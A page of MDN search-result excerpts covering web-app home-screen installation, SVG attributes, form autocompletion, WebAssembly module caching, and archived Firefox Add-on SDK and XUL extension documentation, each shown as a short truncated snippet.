...) icon inside it—this is the "add to home screen" icon displayed for any site that has the necessary features in place. tapping this will show a confirmation banner—pressing the banner's big "+ add to home screen" button completes the action, adding the app to the home screen. note that in android 8 and higher, a system-level "add to home screen" permission dialog will be shown first. samsung internet browser if you have samsung internet in your mobile device you will see a different icon. tapping that icon should then take you to the same confirmation banner shown in firefox above. google chrome for android if you have google chrome for android available, the experience is slightly different; upon loading our site, you'll see an install banner pop up asking whether you want ...
...home screen (also known as the launcher or springboard), tap the sharing button () at the bottom of the screen: this calls up the sharing panel. among the options should be the "add to home screen" option, unless it's been specifically removed from the list by the user editing the optons displayed: choosing "add to home screen" here presents the confirmation dialog box, which not only confirms that the user wants to add the app to the home screen, but also lets the user customize its name. upon clicking "add," the app is included on the home screen. the installed web application regardless of which browser and device you're using, when you choose to add the app to your home screen or app launcher, it'll show up there looking just like any application. typically this means you'll s...
stemh - SVG: Scalable Vector Graphics
Web › SVG › Attribute › stemh
if this attribute is used, the units-per-em must also be used. ...
... if this attribute is used, the units-per-em must also be used. ...
... if this attribute is used, the units-per-em must also be used. ...
Content type - SVG: Scalable Vector Graphics
mil animation specification. the grammar for clock values is repeated here: clock-val ::= full-clock-val | partial-clock-val | timecount-val full-clock-val ::= hours ":" minutes ":" seconds ("." fraction)? partial-clock-val ::= minutes ":" seconds ("." fraction)? timecount-val ::= timecount ("." fraction)? (metric)? metric ::= "h" | "min" | "s" | "ms" hours ::= digit+; any positive number minutes ::= 2digit; range from 00 to 59 seconds ::= 2digit; range from 00 to 59 fraction ::= digit+ timecount ::= digit+ 2digit ::= digit digit digit ::= [0-9] for timecount values, the default metric suffix is "s" (for seconds). no embedded white space is allowed in clock values, alt...
...thus: 00.5s = 500 milliseconds 00:00.005 = 5 milliseconds color <color> the basic type <color> is a css2 compatible specification for a color in the srgb color space. <color> applies to svg's use of the color attribute and is a component of the...
...ther value (for example, a length). each attribute or property that allows percentages also defines the reference distance measurement to which the percentage refers. within the svg dom, a <percentage> is represented using an svgnumber or svganimatednumber object. time <time> a time value is a <number> immediately followed by a time unit identifier. the time unit identifiers are: ms: milliseconds s: seconds transform-list <transform-list> a <transform-list> is used to specify a list of coordinate system transformations. a detailed description of the possible values for a <transform-list> is given in the transform attribute definition. within the svg dom, a <transform-list> value is represented using an svgtransformlist or svganimatedtransformlist object. ...
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
this page explains a problem that can cause svg to stop working in mozilla due to the way mozilla maps filename extensions to media types. symptoms previously you were able to open and display svg content with mozilla, but for no apparent reason its behaviour changes and now it always pops up the "open or save file" dialog when you try to open local svg files, and displays the "additional plugins are required to display all the media on this page" bar when you try to view html with embedded svg. note: the "additional plugins are required" bar can appear for legitimate reasons when the svg or its embedding html is broken or served incorrectly over the network (see the svg faq). if the blue square with the white cross displays when you load this scripting across embed demo, then you...
...profile file called mimetypes.rdf), and if it doesn't find a media type there, it asks the operating system. actually, in mozilla firefox 1.5, the media type for files embedded into html using the html <embed> and <object> tags is (unfortunately) obtained in the same way as it's obtained for local files instead of using the http headers as it should. this bug has been fixed in trunk builds. problems in the way mozilla obtains the media type for files loaded locally can occur in two ways. first, certain actions can cause the media types cache in mimetypes.rdf to associate a filename extension with the wrong media type. second, certain actions may cause the os to associate a filename extension with the wrong media type. if either of these things happen, then mozilla can end up with a media typ...
...er of these things happen, then mozilla can end up with a media type for files that it doesn't recognize, but which the user knows it should. actions that trigger this bug ... possible solutions how you solve this problem depends on whether it's your operating system or your mozilla profile (mimetypes.rdf) that are corrupt. the latter is more common, so we'll start with that. however, it seems that the former may also cause the latter. one way to check is to create a new profile and restart mozilla using that profile. if svg works with the new profile, then simply delete the new profile and go about cleaning your old profile using the steps in the section below. if the new profile doesn't work, clean your os file associations, then your mimetypes.rdf. create and remove a bogus file a...
How to turn off form autocompletion - Web security
rough <input> fields on websites. this enables the browser to offer autocompletion (that is, suggest possible completions for fields that the user has started typing in) or autofill (that is, pre-populate certain fields upon load). these features are usually enabled by default, but they can be a privacy concern for users, so browsers can let users disable them. however, some data submitted in forms either are not useful in the future (for example, a one-time pin) or contain sensitive information (for example, a unique government identifier or credit card security code). as website author, you might prefer that the browser not remember the values for such fields, even if the browser's autocomplete feature is enabled. note that the wcag 2.1 success criterion 1.3.5: identify input purpose doe...
...quire that autocomplete/autofill actually work - merely that form fields that relate to specific personal user information are programmatically identified. this means that the criterion can be passed (by adding the relevant autocomplete attributes to individual form fields) even when autocompletion for the form itself has been turned off. ...
... it stops the browser from caching form data in the session history. when form data is cached in session history, the information filled in by the user is shown in the case where the user has submitted the form and clicked the back button to go back to the original form page. if a browser keeps on making suggestions even after setting autocomple...
Tutorials
our web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages. html tables representing tabular data on a webpage in an understandable, accessible way can be a challenge. this module covers basic table markup, along with more complex features such as implementing captions and summaries. advanced level html forms forms are a very important part of the web — these provide much of the functionality you need for interacting with websites, e.g. registering and logging in, sending feedback, buying products, and more. this module gets you started with creating the client-side parts of forms. tips for authoring fast-loading html pages optimize web pages to provide a more responsive site for visitors an...
...loat and positioning, and new fangled layout tools like flexbox. css reference complete reference to css, with details on support by firefox and other browsers. fluid grids design layouts that fluidly resize with the browser window, while still using a typographic grid. css challenges flex your css skills, and see where you need more practice. advanced level using css transforms apply rotation, skewing, scaling, and translation using css. css transitions css transitions, part of the draft css3 specification, provide a way to animate changes to css properties, instead of having the changes take effect instantly. quick guide to implement web fonts (with @font-face) the @font-face feature from css3 allows you to use custom typefaces on the web in an accessible, ...
...pt programmers who want to deepen their skills and/or look up specific topics. essential javascript design patterns an introduction to essential javascript design patterns. advanced level javascript guide a comprehensive, regularly updated guide to javascript for all levels of learning from beginner to advanced. you don't know js a series of books diving deep into the core mechanisms of the javascript language. javascript garden documentation of the most quirky parts of javascript. exploring es6 reliable and in-depth information on ecmascript 2015. javascript patterns a javascript pattern and antipattern collection that covers function patterns, jquery patterns, jquery plugin patterns, design patterns, general patterns, literals and constructor patterns, object cr...
Caching compiled WebAssembly modules - WebAssembly
opendatabase().then(db => { return lookupindatabase(db).then(module => { if we do, we instantiate it with the given import object: console.log(`found ${url} in wasm cache`); return webassembly.instantiate(module, importobject); }, if not, we compile it from scratch and then store the compiled module in the database with a key of url, for next time we want to use it: errmsg => { console.log(errmsg); return webassembly.instantiatestreaming(fetch(url)).then(results => { storeindatabase(db, results.module); return results.instance; }); }) }, note: it is for this kind of usage that webassembly.instantiate() returns both a module and an instance: the module represents the compiled code and can be stored/retrieved in idb or share...
...red/retrieved in idb or shared between workers via postmessage(); the instance is stateful and contains the callable javascript functions, therefore it cannot be stored/shared. if opening the database failed (for example due to permissions or quota), we fall back to simply fetching and compiling the module and don't try to store the results (since there is no database to store them into). ...
...ed between workers via postmessage(); the instance is stateful and contains the callable javascript functions, therefore it cannot be stored/shared. if opening the database failed (for example due to permissions or quota), we fall back to simply fetching and compiling the module and don't try to store the results (since there is no database to store them into). ...
Loading and running WebAssembly code - WebAssembly
what are the options? webassembly is not yet integrated with <script type='module'> or es2015 import statements, thus there is not a path to have the browser fetch modules for you using imports. ...
...e following sections explain. using fetch fetch is a convenient, modern api for fetching network resources. ...
...the object looks like this: { module : module // the newly compiled webassembly.module object, instance : instance // a new webassembly.instance of the module object } note: usually we only car...
Content Scripts - Archive of obsolete content
ntent-script.js" as an alias for self.data.url("content-script.js"). so you can rewrite the above main.js code like this: var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscriptfile: "./content-script.js" }); unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and review. you can load multiple scripts by passing an array of strings to either contentscript or contentscriptfile: // main.js var tabs = require("sdk/tabs"); tabs.on('ready', function(tab) { tab.attach({ cont...
... instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and review. controlling when to attach the script the contentscriptwhen option specifies when the content script(s) should be loaded. it takes one of: "start": load the scripts immediately after the document element for...
Classes and Inheritance - Archive of obsolete content
equire('sdk/core/heritage'); the function class is a meta-constructor: it creates constructors that behave properly with respect to inheritance. it takes a single argument, which is an object which properties will be defined on the prototype of the resulting constructor. the semantics of class are based on what we've learned earlier. for instance, to define a constructor for a class shape in terms of class, we can write: let shape = class({ initialize: function (x, y) { this.x = x; this.y = y; }, draw: function () { throw new error("not yet implemented"); } }); the property initialize is special. when it is present, the call to the constructor is forwarded to it, as are any arguments passed to it (including the this object). in effect, initialize ...
... class inherits, if any. class uses this information to automatically set up the prototype chain of the constructor. ...
l10n - Archive of obsolete content
ut localizing any strings - just make the identifiers the default language: var _ = require("sdk/l10n").get; console.log(_("hello!")); however, this will make it more difficult to maintain your code if you have many localizations, because any changes to the identifier values break all your .properties files. if you're supplying different localizations for a string depending on the number of items (that is, whether to use a singular or plural form) then get() takes a second integer parameter which indicates the number of items there are. you can supply one or more placeholders to get(), which are strings, such as proper names, that should not be translated themselves but instead should be inserted into the translated string. you can't use plurals and placeholders in the same expression: ...
... instead should be inserted into the translated string. you can't use plurals and placeholders in the same expression: if you do, the placeholders will be ignored. parameters identifier : string a identifier for the localization of a particular string in the current locale. count : integer optional parameter. if you're supplying different localizations for a string for singular or plural forms, this parameter is the number of items there are in this case. var _ = require("sdk/l10n").get; console.log(_("child_id", 1)); console.log(_("child_id", 2)); see the tutorial on plural support for more information. note that if you use this parameter, you can't supply any placeholders. placeholder1...n : string optional parameters. if you do not include the count parameter, you can supply on...
simple-prefs - Archive of obsolete content
ee or alter it. { "name": "myhiddeninteger", "type": "integer", "title": "how many?", "hidden": true } your add-on's code will still be able to access and modify it, just like any other preference you define. type-specific attributes these are settings that are only applicable to certain preference types. they are documented along with the preference types themselves. preference types the setting types map to the inline settings types used by the add-on manager. all the inline preferences are supported. type description example specification bool displayed as a checkbox and stores a boolean. { "description": "does it have tentacles?", "type": "bool", "name": "hastentacles", "value": true, "title":...
...ded as a string. it is used to label the button. in "package.json": { "type": "control", "label": "click me!", "name": "sayhello", "title": "say hello" } in "main.js": var sp = require("sdk/simple-prefs"); sp.on("sayhello", function() { console.log("hello"); }); localization using the sdk's localization system, you can provide translated forms of the title and description attributes. see the localization tutorial for more details. getting and setting preferences unless you've marked them as hidden, the user will be able to see and change the preferences in the add-on manager. you can also see them and change them programmatically using the prefs property, and listen for changes to a preference using on(). simple-prefs in the prefer...
timers - Archive of obsolete content
set one-off and periodic timers. globals constructors functions settimeout(callback, ms) schedules callback to be called in ms milliseconds. any additional arguments are passed straight through to the callback. parameters callback : function function to be called. ms : integer interval in milliseconds after which the function will be called. returns integer : an id that can later be used to undo this scheduling, if callback hasn't yet been called. example var { settimeout } = require("sdk/timers"); settimeout(function() { // do something in 0 ms }, 0) cleartimeout(id) given an id returned from settimeout(), prevents the callback with the id from being called (if it hasn't yet been called). parameters id : integer an id returned from settimeout(). example var { set...
... given an id returned from settimeout(), prevents the callback with the id from being called (if it hasn't yet been called). parameters id : integer an id returned from settimeout(). example var { settimeout, cleartimeout } = require("sdk/timers"); var id = settimeout(function() { // do something in 1 sec }, 1000); // to stop/cancel this timeout cleartimeout(id); setinterval(callback, ms) schedules callback to be called repeatedly every ms milliseconds. any additional arguments are passed straight through to the callback. parameters callback : function function to be called. ms : integer interval in milliseconds at which the function will be called. returns integer : an id that can later be used to unschedule the callback. example var { setinterval } = require("sdk/time...
io/file - Archive of obsolete content
experimental provides access to the local filesystem. usage paths path specifications in this api are platform-specific. this means that on windows paths are specified using the backslash path separator (\), and on unix-like systems like linux and os x paths are specified using the forward slash path separator (/). if your add-on uses literal windows-style path specifications with this api, your add-on likely won't work when users run it on unix-like systems. likewise, if your add-on uses literal unix-style path specifications, it won't work for users on windows. to ensure your add-on works for everyone, generate paths using the join function. unfortunately this api does not currently provide a way to obtain an absolute base path which you could then use with join. for now, you need...
...ithub.com/realityripple/uxp/blob/master/nsprpub/pr/include/prio.h#550). this means that: if the file does not exist it is created if the file exists, its length is truncated to zero it is not possible to open the file in append mode. returns stream : if the file is opened in text read-only mode, a textreader is returned, and if text write-only mode, a textwriter is returned. see text-streams for information on these text stream objects. if the file is opened in binary read-only mode, a bytereader is returned, and if binary write-only mode, a bytewriter is returned. see byte-streams for more information on these byte stream objects. opened files should always be closed after use by calling close on the returned stream. read(path, mode) opens a file and returns a string containing it...
cfx - Archive of obsolete content
he application, enter the following command: /path/to/firefox/firefox-bin -profile /path/to/profile/tmpjdnlp6.mozrunner -foreground -no-remote this enables you to run the add-on without going through cfx, which might be useful if you want to run it inside a debugger like gdb. -o, --overload-modules in early versions of the sdk, the sdk modules used by an add-on were themselves included in the add-on. the sdk modules now ship as part of firefox. from firefox 21 onwards, sdk add-ons built with sdk 1.14 or higher will use the sdk modules that are built into firefox, even if the add-on includes its own copies of the sdk modules. use this flag to reverse that behavior: if this flag is set and the add-on includes its own copies of the sdk modules, then the add-on w...
...he application, enter the following command: /path/to/firefox/firefox-bin -profile /path/to/profile/tmpjdnlp6.mozrunner -foreground -no-remote this enables you to run the add-on without going through cfx, which might be useful if you want to run it inside a debugger like gdb. -o, --overload-modules in early versions of the sdk, the sdk modules used by an add-on were themselves included in the add-on. the sdk modules now ship as part of firefox. from firefox 21 onwards, sdk add-ons built with sdk 1.14 or higher will use the sdk modules that are built into firefox, even if the add-on includes its own copies of the sdk modules. use this flag to reverse that behavior: if this flag is set and the add-on includes its own copies of the sdk modules, then the add-on w...
Add a Context Menu Item - Archive of obsolete content
here's an add-on that adds a new context menu item. the item is displayed whenever something in the page is selected. ...
...: info: elephantine lizard details all this add-on does is to construct a context menu item. you don't need to add it: once you have constructed the item, it is automatically added in the correct context. the constructor in this case takes four options: label, context, contentscript, and onmessage. label the label is just the string that's displayed. context the context describes the circumstances in which the item should be shown. the context-menu module provides a number of simple built-in contexts, including this selectioncontext(), which means: display the item when something on the page is selected. if these simple contexts aren't enough, you can define more sophisticated contexts using scripts. contentscript this attaches a script to the item. in this case the script listens...
Using third-party modules (jpm) - Archive of obsolete content
fox. summary first, while in the root of your add-on, install the package that contains the modules you want to use: npm install menuitem --save now you'll see a new directory in your add-on root called "node_modules" that contains a directory "menuitem". in your add-on code, you can require() modules by passing a path to the module starting from, but not including "node_modules": var menuitems = require("menuitem"); details create a new directory called, for example, "my-menuitem", navigate to it, type "jpm init" and accept all the defaults: mkdir my-menuitem cd my-menuitem jpm init install the menuitem package from npm: npm install menuitem --save this will install the package in the current directory, under a directory called "node_modules". the --save argument instructs npm t...
..._modules". it will contain a single directory "addon-pathfinder", and the modules included in this package will be somewhere in that directory: my-menuitem index.js node_modules menuitem package.json test we're interested in using the "menuitem" module, which is at "addon-pathfinder/lib/ui/menuitem". open "index.js" and replace it with this: var menuitems = require("menuitem"); var menuitem = menuitems.menuitem({ id: "clickme", menuid: "menu_toolspopup", label: "click me!", oncommand: function() { console.log("clicked"); }, insertbefore: "menu_pageinfo" }); now run the add-on: jpm run -b nightly you should see a new menu item in the tools menu labeled "click me!". click the button, and the message "clicked" is logged. note: in...
Add-on SDK - Archive of obsolete content
st, and package add-ons. interact with the browser open web pages, listen for pages loading and list open pages. development techniques learn about common development techniques, such as unit testing, logging, creating reusable modules, localization, and mobile development. create user interface components create user interface components such as toolbar buttons, context menus, menu items, and dialogs. modify web pages modify pages matching a url pattern or dynamically modify a particular tab. putting it together walkthrough of the annotator example add-on. guides contributor's guide learn how to start contributing to the sdk and about the most important idioms used in the sdk code such as modules, classes and inheritance, private properties, and content processes. ...
... xul migration a guide to porting xul add-ons to the sdk. this guide includes a comparison of the two toolsets and a working example of porting a xul add-on. ...
Alerts and Notifications - Archive of obsolete content
propriate delay. it uses nsialertsservice. ...
...g/alerts-service;1'] .getservice(components.interfaces.nsialertsservice) .showalertnotification(null, title, text, false, '', null); } catch(e) { // prevents runtime error on platforms that don't implement nsialertsservice } } if you need to display a comparable alert on a platform that doesn't support nsialertsservice, you can do this: function popup(title, msg) { var image = null; var win = components.classes['@mozilla.org/embedcomp/window-watcher;1'] .getservice(components.interfaces.nsiwindowwatcher) .openwindow(null, 'chrome://global/content/alerts/alert.xul', '_blank', 'chrome,titlebar=no,popup=yes', null); win.arguments = [image, title, msg, false, '']; } using n...
Dialogs and Prompts - Archive of obsolete content
rs" to windows. to get an idea of what it looks like, open options (or preferences) dialog in firefox or thunderbird (v1.0 and earlier only). the header to the right of the sections buttons is made with <dialogheader>: <dialogheader title="general" description="whatever"/> note, that you should only use this element in a <dialog>, because otherwise it may be not styled properly. (although it seems to work in <window> as well). programmatic button access if you want to access the accept ("ok") and cancel buttons from script, use this: // disable the ok and cancel btns document.documentelement.getbutton("accept").disabled = true; document.documentelement.getbutton("cancel").disabled = true; links dialog.xml — xbl bindings for <dialog> and <dialogheader> elements. passing paramete...
...ings for <dialog> and <dialogheader> elements. passing parameter to a dialog and getting return values from it. passing arguments and displaying a dialog the following code demonstrates how to pass custom arguments to a dialog, process those arguments in the dialog, and return user-modified arguments to the caller. the code to open a dialog named mydialog.xul and pass it arguments: var params = {inn:{name:"foo", description:"bar", enabled:true}, out:null}; window.opendialog("chrome://myext/content/mydialog.xul", "", "chrome, dialog, modal, resizable=yes", params).focus(); if (params.out) { // user clicked ok. process changed arguments; e.g. write them to disk or whatever } else { // user clicked cancel. typically, nothing is done here. } mydialog.xul: <dialog ...
Examples and demos from articles - Archive of obsolete content
explorer for versions before 10. for a full compatibility code, see also our crossbrowser possible solution for image preview. determine if an element has been totally scrolled [html] this example shows how to determine whether a user has completely scrolled an element or not. [article] css pure-css dropdown menu [html] with the :hover pseudo-class you can create complex cascade algorithms. this is a common technique used, for example, in order to create pure-css dropdown menus (that is only css, without using javascript). .[article] pure-css web gallery based on the :hover pseudoclass [zip] you can use the :hover pseudo-class in order to build an image gallery with full-size images shown only when mouse goes over previews. .[article] pure-css web gallery based on the :checked p...
...w how to translate relative paths to absolute paths. a shortcut to massively modify the dom this example shows how to create a framework able to modify many properties of dom objects at the same time. filter the digitation into a form field, capture the digitation of a hidden word this example shows the use of the onkeypress event during a digitation into a form field. ajax – submitting forms and uploading files this paragraph shows how to submit forms in pure-ajax. multipage ajax navigation example this article provides a working (minimalist) example of a pure-ajax web site composed only of three pages. do something if current document has changed since last visit here is a possible example of how to show an alert message when current document changes. do something if an extern...
Displaying web content in an extension without security issues - Archive of obsolete content
cely and insert into the extension window. the issue that is commonly overlooked here is that the rss feed could contain some malicious javascript code and it would then execute with the privileges of the extension — meaning that it would get full access to the browser (cookies, history etc) and to user’s files. these issues can easily be avoided by making use of the existing security mechanisms in the mozilla codebase. the following article explains these security mechanisms, ideally an extension that needs to display web content (which is always potentially dangerous) will use all of them. displaying untrusted data as content in firefox, there is a distinction between chrome and content documents. the top document in a window is always a chrome document. if you look at the frames it lo...
...will usually be chrome documents as well. however, if the document is loaded into <iframe type="content"> or <browser type="content">, it will be considered a content document, and so will be all the frames it loads (the "type" attribute is ignored at that point). so if we look at the frame hierarchy there is a boundary between chrome and content, and at that boundary a number of security mechanisms apply. in particular, a content document can only go up in the frame hierarchy until the topmost content document, it cannot access the chrome documents above it. this means for example that javascript code top.location.href = "about:blank" will only unload the content document but won’t have any effect on the chrome. note: this has really nothing to do with the source of the document. if you o...
Extension Theming Guidelines - Archive of obsolete content
ur extension while leaving it open for styling by custom themes. skin packages just as extension code should exist in chrome content packages, all of the styling for an extension including css and images should exist in a chrome skin package. custom themes may then register a replacement for your skin package allowing them to provide their own styles for all of your content. branding certain items of your extensions style, in particular logos and icons can be kept in the chrome content package such that they are not replaceable by custom themes stylesheets guidelines include stylesheets for every new window that your extension adds and for every window that your extension overlays content into be sure to add a stylesheet from your chrome skin package. while it may be tempting to use the s...
...ndings are applied using style rules. however these are rarely part of the style of the widgets but more about adding custom widgets. in this case you should add a stylesheet to your chrome content package and apply the bindings there. this is one of the rare cases where it is sensible to put the stylesheet into the content area. style attributes style attributes should only be used in rare circumstances. they are impossible to override from styleheets so anything you put in there cannot be adjusted by custom themes. ...
Multiple item extension packaging - Archive of obsolete content
:install-manifest"> <!-- nsiupdateitem type for a multiple item package --> <em:type>32</em:type> ... when specifying em:targetapplication the minversion specified should be the highest minversion and the maxversion specified should be the lowest maxversion from all of the installable bundles contained by the multiple item package for the em:targetapplication. if this is not done, any items that are not compatible will not be installed unless a compatibility check discovers updated compatibility information. installation installation can be performed using any of the existing methods used for installing extensions / themes. the same user interface is used for installing a multiple item package (i.e. the individual packages contained in the multiple item package will not be listed)...
...existing methods used for installing extensions / themes. the same user interface is used for installing a multiple item package (i.e. the individual packages contained in the multiple item package will not be listed). this also allows displaying of signing information for the multiple item package. if a manager (e.g. extension / theme manager) is used, the manager will display the individual items contained by the multiple item package after the download completes in the same manner that it would if the user had chosen to install multiple individual items simultaneously. the manager will not display the multiple item package in the list of items after the download has completed. signing all extensions now require signing by mozilla. for multiple item packages, all internal add-ons need t...
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
e run the test at this point, we’ll get a red bar. what’s the matter? the screen will display “expected -1, got 1”. somehow, using pop() got the order of the arguments mixed up. so let’s update the _letfunc function as shown in listing 6. if we run the test again, we should get a green bar, showing that it ran correctly. benefits of testing implementing the tests described here confirms that the methods work correctly, and builds confidence in your implementations. multiplication and division are implemented the same way, but what will you do if an invalid string is passed? what if you attempt to run with nothing in the stack—what result will you return then? try to keep in mind real-world circumstances while you’re working on this. listing 4: test_calc.js (adding sample t...
...zui 1 - http://quicknote.mozdev.org 2 - http://www5f.biglobe.ne.jp/~t-susumu/ 3 - reverse-polish notation. a way to represent arithmetic formulas. for example, (1+2)*(3-4) would be represented in rpn as 1 2 + 3 4 - * it uses no parentheses. it is also easy to program. 4 - gonzui does not handle search strings with spaces very well; instead, go to the advanced search page, search on a few terms, and then use your browser’s find function to search for the “:” character. 5 - mac os x and other oss seemingly do not internationalize their directory names, but this hasn’t been confirmed. ...
Adding Events and Commands - Archive of obsolete content
ch you use depend on the situation. elements only implement the events that are relevant to them, but there are several events that are implemented for most elements. these are some notable events you should keep in mind: oncommand. this is one of the most important and commonly used events in xul. it's very useful because it represents the most common action for input controls such as menu items, buttons and checkboxes. for a button, it represents the action of the user clicking on it, or focusing it with the keyboard and then pressing the enter key. it's an abstraction of the main way to interact with a control element. onselect. fired when the selection in a tree or listbox changes. onclick. triggered when the user clicks on the element, including right clicks. you shouldn't normally...
...xulschoolhello-hello-menu-item" label="&xulschoolhello.hello.label;" accesskey="&xulschoolhello.helloitem.accesskey;" command="xulschoolhello-hello-command" /> commands allow you to keep your javascript calls in a single place, avoiding code repetition and possible bugs. your ui can easily scale this way. you can create an extension that adds toolbar buttons, statusbar buttons and menu items, all with equivalent behavior, and without having to repeat lots of xul code in the process. commands and broadcasters also facilitate working with complex form windows and dialogs. you should always keep them in mind when adding the event-driven code for your extension. « previousnext » this tutorial was kindly donated to mozilla by appcoast. ...
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
nts); // execute some action afterwards. try { myaddon.doneaddtab(rv); } catch (ex) { /* might handle this */ } // return the original result return rv; }; })(); this is admittedly a bit more verbose, but at the same time it should be easier to understand. you don't have to parse what the resulting function will look like in your mind. there won't be any problems if various add-ons override the same function (using this method). you don't have to care about parameter naming (or changes in naming in future application versions) or short-hand/arrow functions. note: it is not safe to remove such an override again, as this method constitutes in a single-linked function chain. if you want to disable your overrides again, then use a flag indicating that, or ...
...); alternative: just hard-code what should happen if you know that the current version of the application will call { executesomething(); executesomethingelse();} then just do the same in your code. of course, you'll need to update your add-on if the application changes. accessing properties via computed names not that common anymore, but still existing, are add-ons or other javascript programs that access object properties using eval when the property name is not a literal, but computed on the fly. //do not use! eval("myaddon.phrases.word" + word + " = '" + phrase + "';"); again, this is not only unnecessarily hard to parse for a human, but may also contain security vulnerabilities if you compute the names using external data. alternative: using bracket-access to object properties ...
Getting Started with Firefox Extensions - Archive of obsolete content
ory (amo) holds an extensive number of extensions with a wide variety of functions: content filtering (adblock plus, noscript), web application interaction (delicious bookmarks, ebay companion) and web development (dom inspector, firebug). these are very advanced and complex extensions, and you'll learn most of what it takes to create extensions like these. extensions now exist in 3 different forms: add-ons sdk extensions (also known as jetpacks), bootstrapped extensions and traditional extensions. if you're only getting started developing add-ons, the add-ons sdk provides a great way to quickly create simple ones and build on them. this tutorial focuses on traditional extensions, which are created differently. bootstrapped extensions are a step above traditional ones in complexity, so you ...
... you'll see a nice alert message (for some definitions of 'nice'). click on the ok button to close it. that's all the extension does. now let's take a closer look at it. extension contents you may have noticed that the extension file you installed is named xulschoolhello1.xpi. xpi (pronounced "zippy") stands for cross-platform installer, because the same installer file can work on all platforms firefox supports. xpis are simply zip files, but firefox recognizes the xpi extension and triggers the installation process when an xpi file is loaded. to look into the xpi file you need to download it first, not install it. if the server triggers an install when clicking on a link or button, what you need to do is right click on the install link, and choose the save link as... option. decompre...
Mozilla Documentation Roadmap - Archive of obsolete content
al is hosted, and where most of its links point to. it encompasses firefox, other mozilla products, javascript, css, xul, web and extension development guidelines, accessibility, usability, best practices... the list goes on. it's incredibly comprehensive, and its underlying wiki technology makes it easy to expand and evolve with the help of the community. having said that, there are a few problems with it. first of all, the in-site search is not reliable, so we recommend using a search engine like google, with queries such as "mdc javascript code modules" or "javascript code modules site:developer.mozilla.org". secondly, there are several important articles that are very lacking in information, like the preferences system page. and finally, what we mentioned in our xpcom section: almost no...
...illa also make it to planet mozilla. the mozilla add-ons blog. this blog is maintained by the add-ons team at mozilla, and it's a great way to stay up to date with amo development and add-on review policies. this blog is also part of planet mozilla. irc and newsgroups mozilla developers use their irc channels heavily. there are several help and development channels where you can discuss problems and other topics in real time with the people that have the answers. you'll need an irc client in order to do this, and the chatzilla extension works well for this purpose. problems using irc include: finding help when you have a big timezone difference with the united states, and no records of previously asked questions and their answers. another somewhat obscure communication channel is the mo...
User Notifications and Alerts - Archive of obsolete content
ssage, true, "", this, "xulschool hello message"); we pass this as an argument, assuming that this is an object that implements nsiobserver. we do this when we need to handle clicks on the alert box. the image can have any size, but it is recommended that you use a medium, fixed size. the main disadvantage of using alerts is that support for the alerts service is not guaranteed for all platforms and firefox versions. support for windows has existed since firefox 2. for mac os x, support was added on firefox 3, and only through a third-party tool called growl. on linux systems, we have confirmed that it works on firefox 3 on ubuntu linux, but we haven't tested all distributions and firefox versions. because of the inconsistent support and temporary nature of these alerts, we don't recomm...
...owser tab box uses a deck internally, and that affects z-indexing. you'll have to code around this using tab events in order to know when to re-display your alert. another problem you need to take into account is that transparency of floating xul on the mac os version of firefox 2 doesn't work. you'll end up with a box with a white background you can't get rid of . on firefox 3 and above, this seems to have been corrected, using the panel element. the bottom right corner of the browser is the recommended location for an alert, because it normally doesn't block the part of the content where the user is reading, or the most important parts of page content, such as menus and titles. remember this is not a recommended practice. imagine having multiple extensions notifying you in their own cust...
Extensions support in SeaMonkey 2 - Archive of obsolete content
kmarks/bookmarkspanel.xul chrome://communicator/content/bookmarks/bm-panel.xul chrome://browser/content/places/places.xul chrome://communicator/content/bookma...rksmanager.xul thunderbird uses mostly the same chrome urls for overlaying as seamonkey. there are exceptions, but these are few and far between. seamonkey also uses different ids for the menu items. some important menu ids are listed below, menu ids are based on firefox 3 source code: menu id in firefox menu id in seamonkey 1.x and 2.0 seamonkey 2.1 overlays menu_filepopup menu_filepopup menu_filepopup file menu popup menu_editpopup menu_edit_popup menu_editpopup edit menu popup menu_...
...uris messagedisplay gmessagedisplay api seamonkey 2.0 only supports a reduced set of methods: displayedmessage visible javascript tweaks firefox supports some shorthand in various places. these are so commonly available that developers often forget that they are not built-ins. seamonkey on the other hand defaults to not support them so they either need to be expanded to their proper forms or matching constants/variables need to be defined in custom code. shorthand expansion cc components.classes ci components.interfaces cr components.results cu components.utils multi-browser compatibility to make an extension compatible with seamonkey as well as firefox/thunderbird, you may need to do different things depending o...
Signing an XPI - Archive of obsolete content
dev group's pete collins. this article is a mirror of the original, with minor reformatting, some new info and all links updated in march 2010. get network security services 1. download the latest network security services (nss) package from the mozilla ftp site at https://ftp.mozilla.org/pub/mozilla.or.../nss/releases/. for windows, you'll want the nss-3.11.4.zip package in the nss_3_11_4_rtm/msvc6.0/winnt5.0_opt.obj/ folder - it is by 2010 the only one with the right binaries. 2. extract the contents of the archive file to a local folder. in my case it's c:\apps\nss-3.11.4\ get netscape portable runtime 1. download the latest netscape portable runtime from the mozilla ftp site: http://ftp.mozilla.org/pub/mozilla.org/nspr/releases/. for windows you'll want the nspr-4.6.zip package in ...
...ate to individuals (how ridiculous) so you may have to search hard to find one that will, and who also has a ca root authority installed in mozilla firefox. without the certificate-issuers ca root certificate mozilla firefox will not confirm the validity of your certificate to users who want to install your extension. ideally you want a certificate that has a root ca installed in all major platforms (microsoft windows, sun java, mozilla/netscape firefox/navigator, opera) so you only use one certificate for signing all your software, no matter which platform it is for. the cheapest universally supported (mozilla, java, microsoft) certificate seems to be the comodo instant-ssl offering. you can get a free certificate for open-source developers from unizeto certum, in 2010 it is a certum level...
Using Dependent Libraries In Extension Components - Archive of obsolete content
}; // component.dll on windows, libcomponent.so on linux static char krealcomponent[] = moz_dll_prefix "component" moz_dll_suffix; nsresult nsgetmodule(nsicomponentmanager* acompmgr, nsifile* alocation, nsimodule* *aresult) { nsresult rv; // this is not the real component. we want to load th...
